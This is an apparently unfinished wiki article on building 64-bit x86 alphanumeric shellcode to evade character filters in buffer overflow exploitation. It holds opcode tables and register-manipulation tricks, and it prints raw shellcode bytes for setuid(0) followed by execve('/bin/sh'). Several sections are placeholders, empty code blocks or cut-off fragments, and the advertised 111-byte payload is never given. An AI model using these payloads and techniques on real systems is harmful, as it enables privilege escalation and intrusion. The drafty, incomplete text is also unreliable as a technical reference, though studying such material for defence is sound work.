{{info|<center>'''Alphanumeric [[shellcode]]''' is similar to [[ascii shellcode]] in that it is used to evade character filters during [[Buffer Overflows|buffer overflow]] [[exploitation]].<br/> While 32 bit alphanumeric code is widely documented, this is the first public research and documentation of 64-bit alphanumeric code containing an example [[shellcode]].</center>}}{{social}}

= Available Instructions =

{{notice|This chart contains '''64-bit''' alphanumeric opcodes.  32-bit alphanumeric opcodes are available at the 32-bit [[ascii shellcode]] entry.}}

'0'    0x30   xor %{16bit}, (%{64bit})

'1'    0x31   xor %{32bit}, (%{64bit})

'2'    0x32   xor (%{64bit}), %{16bit}

'3'    0x33   xor (%{64bit}), %{32bit}

'4'    0x34   xor [byte], %al

'5'    0x35   xor [dword], %eax

'6'    0x36   %ss segment register

'7'    0x37   Bad Instruction!

'8'    0x38   cmp %{16bit}, (%{64bit})

'9'    0x39   cmp %{32bit}, (%{64bit})

'A'    0x41   64 bit reserved prefix

'B'    0x42   64 bit reserved prefix

'C'    0x43   64 bit reserved prefix

'D'    0x44   64 bit reserved prefix

'E'    0x45   64 bit reserved prefix

'F'    0x46   64 bit reserved prefix

'G'    0x47   64 bit reserved prefix

'H'    0x48   64 bit reserved prefix

'I'    0x49   64 bit reserved prefix

'J'    0x4a   64 bit reserved prefix

'K'    0x4b   64 bit reserved prefix

'L'    0x4c   64 bit reserved prefix

'M'    0x4d   64 bit reserved prefix

'N'    0x4e   64 bit reserved prefix

'O'    0x4f   64 bit reserved prefix

'P'    0x50   push %rax

'Q'    0x51   push %rcx

'R'    0x52   push %rdx

'S'    0x53   push %rbx

'T'    0x54   push %rsp

'U'    0x55   push %rbp

'V'    0x56   push %rsi

'W'    0x57   push %rdi

'X'    0x58   pop %rax

'Y'    0x59   pop %rcx

'Z'    0x5a   pop %rdx

= Alphanumeric Opcode Compatibility =

Intercompatible opcodes are important to note due to the fact that many opcodes overlap and thus, writing [[shellcode]] that will run on both 32 bit and 64 bit x86 platforms becomes possible. This chart was derived by cross referencing [[#Available_Instructions|available 64 bit instructions]] with [[Ascii_shellcode#Available_Instructions|available 32 bit instructions]].

#    Intercompatible x86* alphanumeric opcodes      #

# 0x64,0x65 #  d,e #  [fs|gs] prefix               #

# 0x66,0x67 #  f,g #  16bit [operand|ptr] override #

# 0x68,0x6a #  h,j #  push                         #

# 0x69,0x6b #  i,k #  imul                         #

# 0x6c-0x6f #  l-o #  ins[bwd], outs[bwd]         #

# 0x70-0x7a #  p-z #  Conditional jumps            #

# 0x30-0x35 #  0-5 #  xor                         #

# 0x36       #  6   #  %ss segment register         #

# 0x38-0x39 #  8,9 #  cmp                         #

# 0x50-0x57 #  P-W #  push *x,*i,*p               #

# 0x58-0x5a #  XYZ #  pop [*ax, *cx, *dx]         #

Because not ''all'' opcodes are intercompatible, yet comparisons and conditional jumps ''are'' interompatible, it is possible to determine the architecture of an x86 processor using exclusively alphanumeric opcodes.  The opcodes which are specifically not compatible are limited to the 64 bit special prefixes '''0x40-0x4f''', which allow for manipulation of 64 bit registers and 8 additional 64 bit general purpose registers, '''%r8-%r15'''.  By making use of these additional registers (which 32 bit processors do not have), one can perform an operation that will set a value on a different register in the two processors.  Following this, a conditional statement can be made against one of the two registers to determine if the value was set.  Using the '''pop''' instruction is the most effective way to set the value of a register due to instructional limitations.  Using an alternative register to %rsp or %esp as the stack pointer enables the use of an effective conditional statement to determine if the value of a register is equal to the most recent thing pushed or popped from the stack.

==15 Byte Architecture Detection Shellcode==

  [root@ares bha]# # Returns false on a 64 bit system:

=Alphanumeric X86_64 Register Value and Data Manipulation=

Given the limited set of instructions for alphanumeric shellcode.... write some more stuff once done explaining the various aspects below in a general short form manner.

==Push:  Alphanumeric X86_64 Registers==

Pushing the 64 bit registers RAX-RDI is done using a single upper case P-W (\x50-\x57) dependent on which register you're pushing. Prefixing with "A" (for general registers R8-R15) or "f" for 16 bit registers (AX-DI) gives access to push 24 registers using alphanumeric shellcode.

| push %cx

| push %dx

| push %bx

| push %sp

| push %bp

| push %si

| push %di

==Pop: Alphanumeric X86_64 Registers==

        #  * Protip, the %r's take +1 byte

        # 64-bit registers:

        # pop %rax             \x58                   X

        # pop %rcx             \x59                   Y

        # pop %rdx              \x5a                   Z

        # * Use \x41 (A) prefix to access %r8-r10 e.g. AX

        # 16 bit registers (using 0x66 or 'f'  

        # [sometimes fA] prefix):

        # %cx, %dx, %ax, %r8w, %r9w, %r10w  

        # So, using push and pop we can set the values of  

        # 6 fullsize CPU registers:

        # %rax, %rcx, %rdx, %r8, %r9, %r8

        # Or get any values of 16 fullsize CPU registers  

        # to the top of the stack:

        # %r8-%r15, %rax-%rdi

        # Lets look quickly.  We've got 5 main registers  

        # and 5 special 64 bit registers we can push but

        # not pop:

        # %rbx, %rsp, %rbp, %rsi, %rdi

        # How can we write to those (or read their

        # sub-registers) using alphanumeric bytecode

        # instructions and operands only? We can also

        # presumably use any of the 6 full control  

        # registers by our emulating for mov with push

        # and pop.  Using only the registers we can

        # already access, we will attempt to get  

        # instructions for our use to set values.

        # We've identified our special register prefix,

        #      0x41, 'A'.

        # We've identified our word operand override,  

        #      0x66, 'f'.

        # Lets identify all the alphanumeric overrides and prefixes.

        # Notice these overrides are very similar to those for 32

        # bit platforms.

        #      0x36, '6', %ss segment override.  Very handy.

        #      0x64, 'd', %fs segment override

        #      0x65, 'e', %gs segment override

        #      0x66, 'f', 16 bit operand size

        #      0x67, 'g', 16 bit address size

        #      0x41, 'A', 64 bit special register use (%r##)

        #      0x48, 'H', 64 bit register size override

        #      0x40-4a, special 64 bit overrides

        # opcodes used for popping a register can also be

        # used as 'register operands' for more advanced

        # instructions.  For example, take this xor

        # instruction:

        #      xor $0x[byte](%rax),%ebx  

        #      "\x33\x58\x##"                  "3X?"

        # The %rax register can be changed to %rcx or %rdx

        # using the 0x59 (Y) and 0x5a (Z) opcodes in place

        # of the 0x58 (X) opcode:

        #      xor $0x[byte](%rax),%ebx

        #      "\x33\x59\x##"                  "3Y?"

        # Whenever there's a controllable register, we'll

        # use the notation {reg} so we'll recognize it as

        # an option.  In our bytecodes and string examples,

        # we will use a '?' in the bytecode itself and a  

        # '*' to denote the register operand, for example:

        #      xor $0x[byte]({reg}),%ebx

        #      "\x33\x??\x##"                  "3*?"

        # So start memorizing the opcodes for rax,rcx, and

        # rdx, and get it in your head that they'll be used

        # frequently.  When we run into multiple operands,  

        # we'll use their operand number in the notation  

        # for readability purposes.

        # Identifying the ways to set the rest of our

        # registers, while investigating %rbx, was not  

        # entirely fruitful.  We do not get full control

        # over the %rbx register, however, we get write

        # access to sub-registers:

        #      %ebx, %bx, %bh, %bl

        # We can access these by using xor, imul, and

        # movslq instructions:

        #  -%ebx:

        #      xor $0x[byte]({reg}),%ebx     

        #      "\x33\x??\x##"                  "3*?"

        #      imul $0x[dword1],0x[byte2]({reg}),%ebx

        #      "\x69\x??\x#2\x#1\x#1\x#1\x#1"  "i*21111"

        #      imul $0x[byte1],0x[byte2]({reg}), %ebx

        #      "\x6b\x??\x#2\x#1"              "k*21"

        #      movslq 0x[byte1]({reg}), %ebx

        #      "\x63\x??\x##                  "c*?"

        # Note: if you want to access the %ss segment, put

        # the prefix at the beginning of the bytecode of

        # instructions (e.g. "63*?" in stead of "3*?").  If

        # you'd like to use the special 64 bit registers,  

        # put 0x41 or "A" at the beginning of the bytecode.

        # if you need to use both, you must always use the

        # %ss segment register prefix first, e.g. '6A3*?'.

        # Using one of our 64 bit force operators, we can  

        # use any of those instructions on %ebx with an  

        # override to treat it as %rbx (in this case, 0x48).

        #  imul  $0x[byte1],0x[byte2]({reg}),%rbx

        #  "\x48\x6b\x??\x#2\x#1"              "Hk*21"

        #  So all we really have to set the value of %rbx  

        # directly is imul, xor, and movslq.  It's similar

        #  for our other registers that we can't directly

        #  Left over, we have %rsp, %rbp, %rdi, and %rsi.   

        #  Lets take a closer look at xor.  Starting at

        #  0x30 and ending at 0x35 we have some pretty

        #  valuable xor commands:

        #    0x34:        xor $0x##, %al

        #    0x35:        xor $0x########, %eax

        #    0x48 0x35 :  xor $0x########, %rax

        #  0x30 is a multi-byte xor instruction.  Requiring

        #  at least two operands (even if register denote):

        #  0x30 - xor %{16bit}, (%{64bit})

        #          xor %{16bit}, (%{64bit},%{64bit},1)

        #          xor %{16bit}, (%{64bit},%{64bit},2)

        #          xor %{16bit}, 0x[byte](%{64bit})

        #          xor %{16bit}, 0x[byte](,%{64bit},1)

        #          xor %{16bit}, 0x[byte](,%{64bit},2)

        #          xor %{16bit}, 0x[dword](%{64bit})

        #          xor %{16bit}, 0x[dword](,%{64bit},1)

        #          xor %{16bit}, 0x[dword](,%{64bit},2)

        #  0x31 is just as flexible as 0x30.  Didn't document

        # all permutations here due to brevity.

        #  0x32 - xor (%{64bit}), %{16bit}

        #  0x32 is just as flexible, although the offsets will

        # change source side rather than destination side.

        #  0x33 - xor (%{64bit}), %{32bit}  

        #  0x33 is the opposite of 0x31.  Just as flexible.

         #

        #  Lets combine our knowledge of xor with our knowledge

        # of the stack.  When we push any data, our data is  

        # accessible at %ss:(%rsp).  Knowing this, we can use

        # another register in our available space (e.g. %rcx)

        # to set values on some of our more difficult registers:

        #          %rbx, %rsp, %rbp, %rsi, %rdi

        # First, we'll use push and pop to simulate 'mov':

        #  \x54  push %rsp

        # \x59  pop %rcx

        #  \x5a pop %rax      (This just sets the pointer back)

        # Two xor parameters allow us to set the index registers,

        # %rsi and %rdi.  For now, we'll just zero them out:

        #  \x56                push %rsi

        #  \x36\x48\x33\x31    xor %ss:(%rcx), %rsi

        #  \x41\x58             pop %r8          

        #  \x57                push %rdi

        #  \x36\x48\x33\x39    xor %ss:(%rcx), %rdi

        #  pop %r8            

        # Now we've zeroed out %rsi and %rdi. %r14 and %r15

        # special registers can also be pushed and zeroed out in

        # this fashion.  Now we have "full control" over:

        #  %rax, %rcx, %rdx, %rsi, %rdi, %r8, %r9, %r10, %r14,

        # and %r15.  We still need to gain full control over:

        #  %rsp, %rbp, %rbx, %r11, %r12, and %r13

        #  Similar to push, we're going to require some sort of

        # controllable data before the setting of a register.  

        # Where pop is concerned, we might require something to

        # be pushed to the stack first, in this case, we just

        # require a zero register. Due to the way that xor

        # works, once we have a zero register at all, in this  

        # case we will use %rax as our zero register, we can

        # use it to get %rbx, %rsp, and %rbp to zero if needed:

        #  # %rbx:

        #  xor %ss:0x30(%rcx), %rax       # store that value in rax

        #  xor %rax, %ss:0x30(%rcx)       # Null that area of stack

        #  imul $0x30,%ss:0x30(%rax),%rbx # 0x30 * 0 = 0  

        #  imul $0x30,%ss:0x30(%rax),%rbp # 0x30 * 0 = 0

        # Once the stack space, as well as the destination is set

        # to zero, we can effectively mov %rax, %rbp:

        #  36 48 31 41 30        xor    %rax,%ss:0x30(%rcx)

        #  36 48 33 69 30       xor    %ss:0x30(%rcx),%rbp

        #  Our closest thing to incrementing and decrementing is

        # our ability to use the ins and outs instructions to  

        # add or subtract 1,2, or 4 against the %rdi register.

        # This still leaves us with no significant add or sub,

        # we can use imul with 16 and 8 bit registers to find  

        # division though. We also have a magic mov; if %rsi is

        # not in use:

        #  movsql %ss:0x30(%rcx), %rsi

        #  xor %rsi, %ss:0x30(%rsi)

        #  This can come in quite handy when chunking large  

        # pieces of data to 0.

==Example: Zeroing Out X86_64 CPU Registers==

<syntaxhighlight lang="asm">

         push %rsp 2

         pop %rcx   1             

         pop %r8     2              

</syntaxhighlight>

<syntaxhighlight lang="asm">

</syntaxhighlight>

<syntaxhighlight lang="asm">

</syntaxhighlight>

say some stuff, explain what's going on etc.

<syntaxhighlight lang="asm">

         pop %rdx                 # rdx is zero

</syntaxhighlight>

<syntaxhighlight lang="asm">

         xor $0x30, %al           # zeroed out %rax

</syntaxhighlight>

<syntaxhighlight lang="asm">

         xor %rax, %ss:0x30(%rcx) # Zero that stack slot

         xor %ss:0x30(%rcx), %rbx # %rbx is zero

         pop %rax                 # re-initialize %rax as dummy

         xor %ss:0x30(%rcx), %rbp # %rbp is zero

</syntaxhighlight>

= 64 Bit Alphanumeric execve('/bin/sh') - 111 bytes =

== Starting Shellcode (64-bit) ==

{{info|This was converted to shellcode from the example in 64 bit linux assembly}}

* Setuid(0) - 8 bytes

  "\x48\x31\xff\x6a\x69\x58\x0f\x05"

* execve('/bin/sh') - works if %rdi is null at beginning of execution (like it is in the setuid call) - 26 bytes

  "\x48\x31\xff\x6a\x69\x58\x0f\x05\x57\x57\x5e\x5a\x48\xbf\x6a\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05"

 

 

         push %rax                      # 0x14 on the stack now.

==The syscall==

         xor %esi, (%rcx,%rdi,1)         # 4 bytes have been nulled